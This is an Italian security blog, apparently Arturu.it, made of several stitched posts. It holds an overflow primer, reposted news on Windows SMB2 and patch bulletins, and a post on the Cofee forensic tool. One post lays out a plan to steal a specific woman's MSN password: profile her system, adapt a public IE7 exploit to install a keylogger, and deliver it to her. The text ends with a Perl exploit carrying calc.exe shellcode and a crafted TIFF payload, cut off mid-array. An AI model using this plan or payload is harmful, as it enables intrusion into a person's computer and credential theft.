Incominciamo con una situazione molto cumune nella vita di tutti. Immaginiamo di essere in una tavola piena di persone, tra i commensali si alza Bob e inizia a versare il vino, dato che i commensali sono molti capita che non tutti i bicchieri sono della stessa dimensione, Bob deve fare attenzione a non far traboccare i bicchieri. A un certo punto i commensali decidono di bendare gli occhi a Bob e fargli versare il vino su indicazione di Alice. Dato che Alice tende ad essere biricchina tenta in tutti i modi di far traboccare i bicchieri e Bob deve fare molta attenzione a non sbagliare pena la derisione. Ora, dopo questa favoletta, trasponiamo tutto nel mondo informatico. Dobbiamo immaginare un programma informatico come una serie di operazioni scritte su una striscia infinita di carta (tipo il rotolo della foxy), su questa striscia ci sono scritte le operazioni che il computer esegue in base ai comandi dell’utente; inoltre, sulla stessa striscia verranno lasciati diversi spazi per memorizzare i dati (i nostri bicchieri). Mmm… Ora che mi ricordo… Alice è il nostro utente.
Alice da i comandi al computer (Bob) e il computer si comporta secondo le le istruzioni scritte sul rotolo foxy, si sposta sul rotolo, memorizza, poi si riposta, poi rimemorizza, Alice da i comandi e Bob si sposta, continuando finché Alice non decide di chiudere il programma oppure finché non va in crash per colpa di Alice o di altro…

I dati sono inseriti in appositi contenitori (i bicchieri per intenderci), può succedere a volte che il bicchiere è troppo piccolo e i dati traboccano sulle zone successive andando a sovrascrivere altre zone di memorie. Questo che si verifica è un errore di programmazione comunemente e superficialmente chiamato bug, in questo caso specifico viene chiamato Stack Overflow.

Un bug del genere non è molto raro ma neanche troppo facile da trovare, dato che i software prima di essere rilasciati vengono testati a sufficienza la maggior parte di questi bug vengono eliminati, giusto per farci un’idea un probabile Overflow si manifesta quando riceviamo un errore del genere: “L’istruzione a 0×41414141 ha fatto riferimento alla memoria a 0×41414141. La memoria non poteva essere read”.

Con uno Stack Overflow non ci si può fare molto oltre che aspettare che i programmatori risolvano il problema, ma volendo ci si può costruire un Exploit che sfrutti il bug. Se ad essere vulnerabile è un programma che lavora in remoto allora si ha la possibilità di attaccare da remoto un sistema. In genere si apre un “canale” con il quale l’attaccante può eseguire delle operazioni sul computer della vittima.

Il concetto di base sta nel riempire la zona dei dati con un “programma” che apra un “canale” sul computer della vittima e sovrascrivere le porzioni di rotolo dove ci sono le istruzioni (i comandi di Bob) per far eseguire il nostro programma. Nel gergo il “programma” (che programma non è, anche se è una serie di istruzioni) shellcode, e di shellcode ci stanno a tonnellate, googlare per credere. L’aspetto arduo è riuscire a trovare la giusta quantità di dati per riuscire a sovrascrivere i dati e le istruzioni senza sovrascrivere i dati successivi, altrimenti il programma va in crash e finisce la festa. La maggior parte delle volte l’individuazione della quantità esatta di dati da sovrascrivere è fatta a tentativi (logicamente su un sistema con le stesse condizioni). Comunque su internet, grazie a google, si trovano degli exploit già pronti per essere compilati.

Di solito si usano dei debugger ed editor esadecimali, ma se c’è già pronto un exploit scaricato da internet è sufficiente un compilatore. C’è da dire che per facilitare questi compiti si può usare un framework che ultimamente ha riscosso un grande successo: Metasploit.

Dal punto di vista legare operare sul proprio computer non è illegale, ma farlo su quello di un’altra persona e totalmente illegale.

Spero che per il 80% dei visitatori non sia stato troppo complicato e per il restante 20% troppo generico, dipende dal punto di vista.

Saluti Arturu.it

Un esperto di sicurezza ha pubblicato un exploit per una recente vulnerabilità di Windows Vista. Potrebbe essere utilizzato per eseguire del codice a distanza. Microsoft sta ultimando una patch

Roma – A rendere più urgente la correzione di un recente bug di Windows relativo al protocollo di rete Server Message Block (SMB) 2 è stata la divulgazione, negli scorsi giorni, di un nuovo exploit pubblico utilizzabile per eseguire codice sui PC in cui girano Windows Vista, Windows Server 2008 e le versioni di Windows 7 precedenti alla RTM.

Ad allarmare gli esperti c’è il fatto che il nuovo exploit, scritto dal ricercatore Stephen Fewer di Harmony Security, è stato inserito in Metasploit, un toolkit open source per il penetration testing utilizzato di frequente anche per fini poco leciti.

Microsoft è a conoscenza del problema da circa un mese e sebbene non abbia ancora rilasciato una patch ha messo a disposizione degli utenti un workaround automatizzato: per applicarlo è sufficiente visitare questa pagina e cliccare sul pulsante Fix it di sinistra, il quale provvede a disattivare SMB 2. Per riattivare questo componente, preferibilmente dopo aver applicato la relativa patch (in via di sviluppo), basterà cliccare sul pulsante Fix it di destra.

La falla, relativa all’implementazione del protocollo SMB 2, è stata scoperta lo scorso mese dall’esperto di sicurezza Laurent Gaffié, il quale pubblicò anche un exploit proof of concept: tale codice era però soltanto dimostrativo, e non poteva essere utilizzato direttamente per lanciare degli attacchi. Nonostante ciò, ai ricercatori di sicurezza non è occorso molto tempo per mettere a punto i primi exploit funzionanti: fino ad oggi il loro codice è circolato però soprattutto in forma privata, e poteva essere utilizzato solo per attacchi di denial of service.

Fewer sostiene che il suo exploit può essere utilizzato anche per l’esecuzione di codice a distanza, e per installare sui PC delle vittime backdoor o malware. L’efficacia del programma è stata però messa in dubbio da Kostya Kortchinsky, ricercatore senior presso la società Immunity, il quale afferma di essere riuscito ad eseguire del codice per mezzo dell’exploit di Fewer esclusivamente all’interno di una macchina virtuale VMware: al di fuori dell’ambiente di virtualizzazione il codice di Fewer causerebbe soltanto il crash del sistema.

Microsoft dovrebbe correggere definitivamente la falla con il rilascio dei prossimi bollettini di sicurezza, previsti per il 13 ottobre.

Come si è detto, BigM ha già fornito una soluzione temporanea al problema servendosi di uno script Fix it, una forma di workaround introdotta circa sei mesi fa e, da allora, utilizzata in oltre 300 occasioni per risolvere problemi, modificare le configurazioni di Windows o proteggere gli utenti da certi virus. Microsoft afferma che in oltre il 95% dei casi il pulsante Fix it “ha completamente risolto il problema”.

Fonte Punto-Informatico

Oggi un mio amico mi ha sottoposto un quesito veramente singolare. Deve recuperare la password di MSN Messenger da un computer remoto (cioè che non ha la possibilità di accedervi fisicamente). Logicamente non può usare il ripristino della password perché non ricorda la domanda segreta e poi perché non vuole cambiarla, gli serve conoscere la password attuale. Bhe… Non è che sia una cosa così semplice, ma scervellandosi un po ci si può riuscire…

Ipotesi di strategia

Dato che si tratta di un’operazione abbastanza complicata e altrettanto illecita, si possono fare soltanto delle supposizioni su come procedere, dei pensieri, delle fantasie su come arrivare all’obiettivo. Se si volesse usare una soluzione fantasiosa si potrebbe sfruttare un bug del sistema operativo o di qualche altro programma installato per installare un sistema di controllo remoto, oppure, un semplice Keylogger. Così facendo quando la vittima (da ora in poi Alice) accede al servizio di MSN intercetteremo la password.
Necessariamente dobbiamo organizzare il nostro attacco in vari punti:

• raccogliere informazioni sul sistema da attaccare;
• tutto su Alice: le abitudini, conoscenze informatiche, il che software usa, come e quanto, se aggiorna il software, ecc.;
• che tipo di bug potremmo sfruttare: quello che ci permette le maggiori garanzie di successo;
• test delle soluzioni su un sistema costruito per l’occasione;
• exec

Fondamentale è scoprire che tipo di computer e sistema ha Alice. Dalle informazioni che mi ha dato Bob (il mio amico) il sistema è Windows Xp versione pirata, quindi, Alice difficilmente potrà fare gli aggiornamenti (grazie Microsoft). Sappiamo che Alice usa MSN ma non abbiamo informazioni sulla versione. Non si sa che Browser usi e che tipo di antivirus abbia. Tutte queste informazioni non le possediamo, e quindi, bisogna fare ricorso a un vecchio trucco: basta preparare una pagina html con un servizio di analisi dei visitatori (ne esistono a migliaia e gratuiti) e dobbiamo fare in modo che la nostra Alice (e solo lei) veda la pagina, si potrebbe fare ugualmente con una mail in formato html, ma difficilmente si ottiene qualcosa.

Dalle nostre analisi risulta che Alice usa Internet Explor 7, e questo è già sufficiente in quanto a luglio è stata scoperta una vulnerabilità di cui si dispone di un exploit (è anche vero che si potrebbero usare i bug presenti nel bollettino di ieri, ma dato che non sono presenti degli exploit già pronti non verrano presi in considerazioni). Si può usare questo exploit oppure questo (logicamente ci sono errori voluti in alcuni punti del software, sta nella vostra bravura trovarli, non mi va che un ragazzetto malintenzionato faccia copia e incolla… poi il responsabile sono io???). Oppure si potrebbe usare questo, molto particolare, solo che bisogna chattare con l’altra persona per utilizzarlo. Un’altra cosa da notare è che gli script segnalati fanno partire la calcolatrice di win, giusto per evitare che i soliti malintenzionati facciano danni. Questi script per esserci utili hanno bisogno di alcune modifiche, al posto della calcolatrice dovrebbero far partire altro o installare qualche altro programma a noi utile.

Preparato il nostro exploit, dopo aver testato l’effettivo funzionamento, bisogna farlo arrivare ad Alice, e qua si apre un altro mondo di strategie, ci stanno migliaia di metodi ma questi non fanno parte del nostro discorso. Se tutto ok il gioco è fatto.

Fine

Saluti Arturu.it

Ps se qualcuno ancora si sta domandando: ma la password come la trovo? significa che è meglio lasciar stare ste cose, basta un pò di spirito di osservazione…

Cinque bollettini di sicurezza, tutti critici, e un advisory nel quale si conferma l’esistenza di una vulnerabilità zero-day. Salva la versione finale di Seven, problemi per le release candidate e Vista

Roma – Nella tarda serata di ieri Microsoft ha pubblicato cinque bollettini di sicurezza, tutti classificati con il massimo grado di rischio e tutti relativi a vulnerabilità che, almeno potenzialmente, potrebbero essere sfruttate da malintenzionati per eseguire del codice a distanza. BigM ha anche pubblicato un advisory in cui prende atto dell’esistenza di una vulnerabilità zero-day in Windows Vista.

Come previsto, la recente vulnerabilità zero-day nel servizio FTP di Internet Information Services rimane aperta: Microsoft sta ancora testando la relativa patch, che conta di distribuire non appena possibile out-of-band, ossia fuori dal suo tradizionale ciclo mensile. Nel frattempo il big di Redmond invita i propri utenti a consultare questo advisory, dove fornisce alcune soluzioni temporanee al problema.

Tutte le vulnerabilità descritte nei nuovi bollettini di sicurezza riguardano versioni di Windows precedenti alla 7, e sono causate da bug contenuti nel motore JScript (MS09-045), nel Wireless LAN AutoConfig Service (MS09-049), nel formato Windows Media (MS09-047), nell’implementazione del protocollo TCP/IP (MS09-048) e nel controllo ActiveX DHTML Editing Component (MS09-046).

Sul blog del Microsoft Security Response Center (MSRC) si evidenzia come le debolezze contemplate nei bollettini MS09-045, MS09-046 e MS09-047 possano essere sfruttate inducendo un utente a visitare una pagina web maligna, mentre quelle corrette nei bollettini MS09-048 e MS09-049 sono potenzialmente innescabili da attacchi diretti via rete tesi ad eseguire del codice a distanza o creare condizioni di denial of service.

Microsoft ritiene che le patch da applicare con più urgenza siano quelle relative alle vulnerabilità del motore JScript e del formato Windows Media: in entrambi i casi la probabilità che i cracker riescano a sfruttare queste falle è assai elevata. Gli scenari di attacco sono piuttosto classici: una pagina web contenente uno script maligno o un file Windows Media appositamente creato per innescare il bug ed eseguire del codice con gli stessi privilegi dell’utente locale. Le versioni di Windows interessate sono tutte quelle attualmente supportate (tranne Seven).

La seconda falla più urgente è quella legata al controllo ActiveX DHTML Editing Component, che Microsoft afferma non essere in alcun modo legata a quella dell’Active Template Library. In questo caso gli utenti a rischio sono quelli di Windows 2000, XP e Server 2003.

Il problema relativo al servizio di autoconfigurazione del Wireless riguarda invece Windows Vista e Windows Server 2008 e, sebbene potenzialmente serio, Microsoft sostiene sia piuttosto difficile da sfruttare per via delle protezioni contenute nei suoi più recenti sistemi operativi.

Delle tre vulnerabilità relative allo stack TCP/IP, una interessa Windows Vista e Windows Server 2008 e potrebbe essere sfruttata per eseguire codice in modalità remota. Le altre due falle possono essere utilizzate per lanciare attacchi di denial of service contro sistemi su cui giri Windows 2000: in questo caso Microsoft afferma che, a causa dell’architettura stessa del componente TCP/IP di Windows 2000, non è possibile risolvere il problema mediante un semplice aggiornamento. Per tale ragione BigM invita i clienti che non posso migrare ad una versione più recente di Windows Server di configurare attentamente il proprio firewall.

Il blog sulla sicurezza Threatpost spiega che le patch relative al TCP/IP appena rilasciate da Microsoft e da Cisco risolvono alcuni problemi scoperti circa un anno fa in molte implementazioni del celebre protocollo di Internet.

Microsoft ha infine aggiornato il bollettino MS09-037 relativo alla famosa e già citata vulnerabilità Active Template Library (ATL). Il motivo dell’update è da ricercare nella scoperta di una falla correlata a quella ATL e contenuta in un altro controllo ActiveX contenuto in Windows XP Media Center 2005 e in Windows Vista.

Una tabella sinottica dei bollettini di settembre è stata pubblicata qui dall’Internet Storm Center.

Security Advisory 975497
Nella giornata di ieri Microsoft ha anche pubblicato un advisory di sicurezza che conferma l’esistenza di una vulnerabilità zero-day legata al protocollo SMB 2.0 in alcune recenti versioni di Windows. A differenza di quanto riportato dallo scopritore della falla, l’esperto di sicurezza Laurent Gaffié, Microsoft afferma che il problema interessa esclusivamente Windows Vista, Windows Server 2008 e Windows 7 RC, ma non la versione finale (RTM) di Seven.

BigM ha criticato Gaffié per aver “irresponsabilmente” divulgato i dettagli della falla prima che questa venisse corretta. Sebbene il ricercatore abbia anche pubblicato un exploit proof of concept, Microsoft afferma che al momento non è al corrente di attacchi che sfruttino la debolezza.

Il problema è causato da un bug nell’implementazione del protocollo System Message Block (SMB) Version 2, che si trova esclusivamente in Vista, Seven e Server 2008. La precedente versione di SMB alla base di XP e 2000 non è vulnerabile.

The Inquirer sostiene che quello appena corretto sia lo stesso bug che Microsoft corresse anni or sono in Windows 2000 e XP, e che per qualche ragione ha poi re-intrdotto in Vista. La debolezza può essere sfruttata inviando dei pacchetti malformati verso la porta 445 di un sistema vulnerabile e innescando un cosiddetto Blue Screen of Death, ossia un errore irreversibile di sistema. Questo tipo di attacco, secondo Gaffié, funziona sia con la versione a 32 bit che con quella a 64 bit di Vista.

In attesa di rilasciare una patch, Microsoft suggerisce ai propri utenti di disattivare SMB e bloccare nel firewall le porte 139 e 445.

SMB è un protocollo di rete che consente a Windows di condividere file, directory e dispositivi. SMB2 è un aggiornamento del protocollo originale che, tra le altre cose, ottimizza la comunicazione tra client e server.

Fonte: Punto Informatico

Di Cofee si sa poco e nulla. E’ certo che questo insieme di tools sia stato sviluppato da Anthony Fung un investigatore di Hong Kong, ed è altrettanto noto che si tratta di un tema caldo per gli esperti di sicurezza informatica. La stessa Microsoft ha convocato il suoi dirigenti per discutere di questo progetto. In concreto Cofee è uno strumento eseguibile da chiavetta USB in grado di superare le restrizioni di accesso di Windows e consentire in chiaro la lettura delle informazioni presenti in un computer, dai dati cifrati, alla cronologia, alle password. Proprio per queste caratteristiche il software sarebbe già in dotazione a 2000 funzionari di polizia in 15 paesi che lo utilizzano come potente strumento investigativo.

La Microsoft successivamente ha assunto il programmatore cinese inglobando il progetto. Attualmente lo promuove presso le strutture di difesa di diversi paesi nel mondo.

Questo ha sollevato un una montagna di polemiche nella rete. In quanto confermerebbe una delle tesi che alcuni sostengono da svariati anni, ovvero, la presenza di una backdoor privata all’interno del codice di Windows. La conferma di un’eventuale backdoor privata della Microsoft all’interno del codice di Windows ha sollevato un sacco di polemiche e scenari (alcuni fanta-informatici) molto interessanti:

• Un programmatore senza scrupoli potrebbe costruire un tool simile a quello costruito dal programmatore cinese;
• Una persona senza scrupoli, in possesso di questo tool, lo potrebbe usare per violare la privacy di un qualsiasi utente Windows;
• Una persona senza scrupoli potrebbe usare il tool per lanciare attacchi informatici dal computer del primo che gli viene sotto tiro con conseguenti guai legali per il povero malcapitato (BotNet);
• Qualsiasi persona in possesso del tool potrebbe controllare (spiare) un’altra…
• ecc…

Per approfondire l’argomento si possono leggere questi articoli che ho trovato in giro per la rete:

• Punto-Informatico;
• AzPoint;
• Hi-TechLife;

Ciao, Arturu.it
Ps. Prossimamente cercherò altre informazioni e vi farò sapere…

Salve a tutti i lettori, è molto che non scrivo, per motivi di lavoro non sono riuscito a dedicarmi molto al sito. Però, questa volta, la notizia è talmente allettante che non ce la faccio proprio a non pubblicarla…

#!/usr/bin/perl
#
#Il codice di esempio fa partire il programma calc.exe
#

use strict;

# run calc.exe
my $shellcode =
“\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b”.
“\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99″.
“\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04″.
“\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb”.
“\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30″.
“\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09″.
“\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8″.
“\x83\xc0\x7b\x50\x68\x7e\xd8\xe2\x73\x68\x98\xfe\x8a\x0e\x57\xff”.
“\xe7\x63\x61\x6c\x63\x2e\x65\x78\x65\x00″;

my $tiff1 =
“\x49\x49\x2A\x00\x90\x3E\x00\x00\x80\x3F\xE0\x50″.
“\x38\x24\x16\x0D\x07\x84\x42\x61\x50\xB8\x64\x36″.
“\x1D\x0F\x88\x44\x62\x51\x38\xA4\x56\x2D\x17\x8C”.
“\x46\x63\x51\xB8\xE4\x76\x3D\x1F\x90\x48\x64\x52″.
“\x39\x24\x96\x4D\x27\x94\x4A\x65\x52\xB9\x64\xB6″.
“\x5D\x2F\x98\x4C\x66\x53\x39\xA4\xD6\x6D\x37\x9C”.
“\x4E\x67\x53\xB9\xE4\xF6\x7D\x3F\xA0\x50\x68\x54″.
“\x3A\x25\x16\x8D\x47\xA4\x52\x69\x54\xBA\x65\x36″.
“\x9D\x4F\xA8\x54\x6A\x55\x3A\xA5\x56\xAD\x57\xAC”.
“\x56\x6B\x55\xBA\xE5\x76\xBD\x5F\xB0\x58\x6C\x56″.
“\x3B\x25\x96\xCD\x67\xB4\x5A\x6D\x56\xBB\x65\xB6″.
“\xDD\x6F\xB8\x5C\x6E\x57\x3B\xA5\xD6\xED\x77\xBC”.
“\x5E\x6F\x57\xBB\xE5\xF6\xFD\x7F\xC0\x60\x70\x58″.
“\x3C\x26\x17\x0D\x87\xC4\x62\x71\x58\xBC\x66\x37″.
“\x1D\x8F\xC8\x64\x72\x59\x3C\xA6\x57\x2D\x97\x96″.
“\x40\x40\x80\x3F\xE0\x50\x38\x24\x16\x0D\x07\x84″.
“\x42\x61\x50\xB8\x64\x36\x1D\x0F\x88\x44\x62\x51″.
“\x38\xA4\x56\x2D\x17\x8C\x46\x63\x51\xB8\xE4\x76″.
“\x3D\x1F\x90\x48\x64\x52\x39\x24\x96\x4D\x27\x94″.
“\x4A\x65\x52\xB9\x64\xB6\x5D\x2F\x98\x4C\x66\x53″.
“\x39\xA4\xD6\x6D\x37\x9C\x4E\x67\x53\xB9\xE4\xF6″.
“\x7D\x3F\xA0\x50\x68\x54\x3A\x25\x16\x8D\x47\xA4″.
“\x52\x69\x54\xBA\x65\x36\x9D\x4F\xA8\x54\x6A\x55″.
“\x3A\xA5\x56\xAD\x57\xAC\x56\x6B\x55\xBA\xE5\x76″.
“\xBD\x5F\xB0\x58\x6C\x56\x3B\x25\x96\xCD\x67\xB4″.
“\x5A\x6D\x56\xBB\x65\xB6\xDD\x6F\xB8\x5C\x6E\x57″.
“\x3B\xA5\xD6\xED\x77\xBC\x5E\x6F\x57\xBB\xE5\xF6″.
“\xFD\x7F\xC0\x60\x70\x58\x3C\x26\x17\x0D\x87\xC4″.
“\x62\x71\x58\xBC\x66\x37\x1D\x8F\xC8\x64\x72\x59″.
“\x3C\xA6\x57\x2D\x97\x96\x40\x40\x80\x3F\xE0\x50″.
“\x38\x24\x16\x0D\x07\x84\x42\x61\x50\xB8\x64\x36″.
“\x1D\x0F\x88\x44\x62\x51\x38\xA4\x56\x2D\x17\x8C”.
“\x46\x63\x51\xB8\xE4\x76\x3D\x1F\x90\x48\x64\x52″.
“\x39\x24\x96\x4D\x27\x94\x4A\x65\x52\xB9\x64\xB6″.
“\x5D\x2F\x98\x4C\x66\x53\x39\xA4\xD6\x6D\x37\x9C”.
“\x4E\x67\x53\xB9\xE4\xF6\x7D\x3F\xA0\x50\x68\x54″.
“\x3A\x25\x16\x8D\x47\xA4\x52\x69\x54\xBA\x65\x36″.
“\x9D\x4F\xA8\x54\x6A\x55\x3A\xA5\x56\xAD\x57\xAC”.
“\x56\x6B\x55\xBA\xE5\x76\xBD\x5F\xB0\x58\x6C\x56″.
“\x3B\x25\x96\xCD\x67\xB4\x5A\x6D\x56\xBB\x65\xB6″.
“\xDD\x6F\xB8\x5C\x6E\x57\x3B\xA5\xD6\xED\x77\xBC”.
“\x5E\x6F\x57\xBB\xE5\xF6\xFD\x7F\xC0\x60\x70\x58″.
“\x3C\x26\x17\x0D\x87\xC4\x62\x71\x58\xBC\x66\x37″.
“\x1D\x8F\xC8\x64\x72\x59\x3C\xA6\x57\x2D\x97\x96″.
“\x40\x40\x80\x3F\xE0\x50\x38\x24\x16\x0D\x07\x84″.
“\x42\x61\x50\xB8\x64\x36\x1D\x0F\x88\x44\x62\x51″.
“\x38\xA4\x56\x2D\x17\x8C\x46\x63\x51\xB8\xE4\x76″.
“\x3D\x1F\x90\x48\x64\x52\x39\x24\x96\x4D\x27\x94″.
“\x4A\x65\x52\xB9\x64\xB6\x5D\x2F\x98\x4C\x66\x53″.
“\x39\xA4\xD6\x6D\x37\x9C\x4E\x67\x53\xB9\xE4\xF6″.
“\x7D\x3F\xA0\x50\x68\x54\x3A\x25\x16\x8D\x47\xA4″.
“\x52\x69\x54\xBA\x65\x36\x9D\x4F\xA8\x54\x6A\x55″.
“\x3A\xA5\x56\xAD\x57\xAC\x56\x6B\x55\xBA\xE5\x76″.
“\xBD\x5F\xB0\x58\x6C\x56\x3B\x25\x96\xCD\x67\xB4″.
“\x5A\x6D\x56\xBB\x65\xB6\xDD\x6F\xB8\x5C\x6E\x57″.
“\x3B\xA5\xD6\xED\x77\xBC\x5E\x6F\x57\xBB\xE5\xF6″.
“\xFD\x7F\xC0\x60\x70\x58\x3C\x26\x17\x0D\x87\xC4″.
“\x62\x71\x58\xBC\x66\x37\x1D\x8F\xC8\x64\x72\x59″.
“\x3C\xA6\x57\x2D\x97\x96\x40\x40\x80\x3F\xE0\x50″.
“\x38\x24\x16\x0D\x07\x84\x42\x61\x50\xB8\x64\x36″.
“\x1D\x0F\x88\x44\x62\x51\x38\xA4\x56\x2D\x17\x8C”.
“\x46\x63\x51\xB8\xE4\x76\x3D\x1F\x90\x48\x64\x52″.
“\x39\x24\x96\x4D\x27\x94\x4A\x65\x52\xB9\x64\xB6″.
“\x5D\x2F\x98\x4C\x66\x53\x39\xA4\xD6\x6D\x37\x9C”.
“\x4E\x67\x53\xB9\xE4\xF6\x7D\x3F\xA0\x50\x68\x54″.
“\x3A\x25\x16\x8D\x47\xA4\x52\x69\x54\xBA\x65\x36″.
“\x9D\x4F\xA8\x54\x6A\x55\x3A\xA5\x56\xAD\x57\xAC”.
“\x56\x6B\x55\xBA\xE5\x76\xBD\x5F\xB0\x58\x6C\x56″.
“\x3B\x25\x96\xCD\x67\xB4\x5A\x6D\x56\xBB\x65\xB6″.
“\xDD\x6F\xB8\x5C\x6E\x57\x3B\xA5\xD6\xED\x77\xBC”.
“\x5E\x6F\x57\xBB\xE5\xF6\xFD\x7F\xC0\x60\x70\x58″.
“\x3C\x26\x17\x0D\x87\xC4\x62\x71\x58\xBC\x66\x37″.
“\x1D\x8F\xC8\x64\x72\x59\x3C\xA6\x57\x2D\x97\x96″.
“\x40\x40\x80\x3F\xE0\x50\x38\x24\x16\x0D\x07\x84″.
“\x42\x61\x50\xB8\x64\x36\x1D\x0F\x88\x44\x62\x51″.
“\x38\xA4\x56\x2D\x17\x8C\x46\x63\x51\xB8\xE4\x76″.
“\x3D\x1F\x90\x48\x64\x52\x39\x24\x96\x4D\x27\x94″.
“\x4A\x65\x52\xB9\x64\xB6\x5D\x2F\x98\x4C\x66\x53″.
“\x39\xA4\xD6\x6D\x37\x9C\x4E\x67\x53\xB9\xE4\xF6″.
“\x7D\x3F\xA0\x50\x68\x54\x3A\x25\x16\x8D\x47\xA4″.
“\x52\x69\x54\xBA\x65\x36\x9D\x4F\xA8\x54\x6A\x55″.
“\x3A\xA5\x56\xAD\x57\xAC\x56\x6B\x55\xBA\xE5\x76″.
“\xBD\x5F\xB0\x58\x6C\x56\x3B\x25\x96\xCD\x67\xB4″.
“\x5A\x6D\x56\xBB\x65\xB6\xDD\x6F\xB8\x5C\x6E\x57″.
“\x3B\xA5\xD6\xED\x77\xBC\x5E\x6F\x57\xBB\xE5\xF6″.
“\xFD\x7F\xC0\x60\x70\x58\x3C\x26\x17\x0D\x87\xC4″.
“\x62\x71\x58\xBC\x66\x37\x1D\x8F\xC8\x64\x72\x59″.
“\x3C\xA6\x57\x2D\x97\x96\x40\x40\x80\x3F\xE0\x50″.
“\x38\x24\x16\x0D\x07\x84\x42\x61\x50\xB8\x64\x36″.
“\x1D\x0F\x88\x44\x62\x51\x38\xA4\x56\x2D\x17\x8C”.
“\x46\x63\x51\xB8\xE4\x76\x3D\x1F\x90\x48\x64\x52″.
“\x39\x24\x96\x4D\x27\x94\x4A\x65\x52\xB9\x64\xB6″.
“\x5D\x2F\x98\x4C\x66\x53\x39\xA4\xD6\x6D\x37\x9C”.
“\x4E\x67\x53\xB9\xE4\xF6\x7D\x3F\xA0\x50\x68\x54″.
“\x3A\x25\x16\x8D\x47\xA4\x52\x69\x54\xBA\x65\x36″.
“\x9D\x4F\xA8\x54\x6A\x55\x3A\xA5\x56\xAD\x57\xAC”.
“\x56\x6B\x55\xBA\xE5\x76\xBD\x5F\xB0\x58\x6C\x56″.
“\x3B\x25\x96\xCD\x67\xB4\x5A\x6D\x56\xB9\xE0\x02″.
“\xDD\x6C\xB8\x5C\x6E\x57\x3B\xA5\xD6\xED\x77\xBC”.
“\x5E\x6F\x57\xBB\xE5\xF6\xFD\x45\xB7\x00\x2F\xF8″.
“\x3C\x26\x17\x0D\x87\xC4\x62\x71\x58\xBC\x66\x37″.
“\x1D\x8F\xAD\x60\x72\x19\x3C\xA6\x57\x2D\x97\xCC”.
“\x66\x73\x59\xBC\xE6\x76\xF1\x01\x80\x3F\xE0\x50″.
“\x38\x24\x16\x0D\x07\x84\x42\x61\x50\xB8\x60\x02″.
“\x1D\x0C\x88\x44\x62\x51\x38\xA4\x56\x2D\x17\x8C”.
“\x46\x63\x51\xB8\xE4\x76\x3D\x1F\x90\x48\x64\x52″.
“\x39\x24\x96\x4D\x27\x94\x4A\x65\x52\xB9\x64\xB6″.
“\x5D\x2F\x98\x4C\x66\x53\x39\xA4\xD6\x6D\x37\x9C”.
“\x4E\x67\x53\xB9\xE4\xF6\x7D\x3F\xA0\x50\x64\x90″.
“\xE0\x05\x0A\x8D\x47\xA4\x52\x69\x54\xBA\x65\x36″.
“\x9D\x4F\xA8\x54\x6A\x55\x3A\xA5\x56\xAD\x57\xAC”.
“\x56\x6B\x55\xBA\xE5\x76\x5B\x44\xAF\x58\x6C\x56″.
“\x3B\x25\x96\xCD\x67\xB4\x5A\x6D\x56\xBB\x65\xB6″.
“\xDD\x6F\xB8\x5C\x6E\x55\x3B\x05\xCE\xED\x77\xBC”.
“\x5E\x6F\x57\xBB\xE5\xF6\xFD\x7F\xC0\x60\x70\x58″.
“\x3C\x25\x76\xEB\x85\xC4\x62\x71\x58\xBC\x66\x37″.
“\x1D\x8F\xC8\x64\x72\x59\x3C\xA5\xBB\x0F\x95\xCC”.
“\x66\x73\x59\xBC\xE6\x77\x3D\x9F\xD0\x68\x74\x57″.
“\xF8\x08\x80\x3F\xE0\x50\x38\x24\x16\x0D\x07\x84″.
“\x42\x61\x50\xB8\x64\x30\x01\x0F\x86\xC4\x62\x51″.
“\x38\xA4\x56\x2D\x17\x8C\x46\x63\x51\xB8\xE4\x76″.
“\x3D\x1F\x90\x48\x64\x52\x39\x24\x96\x4D\x27\x94″.
“\x4A\x65\x52\xB9\x64\xB6\x5D\x2F\x98\x4C\x66\x53″.
“\x39\xA4\xD6\x6D\x37\x9C\x4E\x67\x53\xB9\xE4\xF6″.
“\x7D\x3F\xA0\x50\x66\x10\xF0\x05\x0A\x8D\x47\xA4″.
“\x52\x69\x54\xBA\x65\x36\x9D\x4F\xA8\x54\x6A\x55″.
“\x3A\xA5\x56\xAD\x57\xAC\x56\x6B\x55\xBA\xE5\x76″.
“\x5B\x44\xAF\x58\x6C\x56\x3B\x25\x96\xCD\x67\xB4″.
“\x5A\x6D\x56\xBB\x65\xB6\xDD\x6F\xB8\x5C\x6E\x55″.
“\x3B\x05\xCE\xED\x77\xBC\x5E\x6F\x57\xBB\xE5\xF6″.
“\xFD\x7F\xC0\x60\x70\x58\x3C\x25\x6A\xEB\x85\xC4″.
“\x62\x71\x58\xBC\x66\x37\x1D\x8F\xC8\x64\x72\x59″.
“\x3C\xA5\xC7\x0F\x95\xCC\x66\x73\x59\xBC\xE6\x77″.
“\x3D\x9F\xD0\x68\x74\x57\x18\x08\x80\x3F\xE0\x50″.
“\x38\x24\x16\x0D\x07\x84\x42\x61\x50\xB8\x64\x36″.
“\x10\x00\x88\x43\xA2\x51\x38\xA4\x56\x2D\x17\x8C”.
“\x46\x63\x51\xB8\xE4\x76\x3D\x1F\x90\x48\x64\x52″.
“\x39\x24\x96\x4D\x27\x94\x4A\x65\x52\xB9\x64\xB6″.
“\x5D\x2F\x98\x4C\x66\x53\x39\xA4\xD6\x6D\x37\x9C”.
“\x4E\x67\x53\xB9\xE4\xF6\x7D\x3F\xA0\x50\x67\xB1″.
“\x00\x05\x0A\x8D\x47\xA4\x52\x69\x54\xBA\x65\x36″.
“\x9D\x4F\xA8\x54\x6A\x55\x3A\xA5\x56\xAD\x57\xAC”.
“\x56\x6B\x55\xBA\xE5\x76\x5B\x44\xAF\x58\x6C\x56″.
“\x3B\x25\x96\xCD\x67\xB4\x5A\x6D\x56\xBB\x65\xB6″.
“\xDD\x6F\xB8\x5C\x6E\x55\x3B\x05\xCE\xED\x77\xBC”.
“\x5E\x6F\x57\xBB\xE5\xF6\xFD\x7F\xC0\x60\x70\x58″.
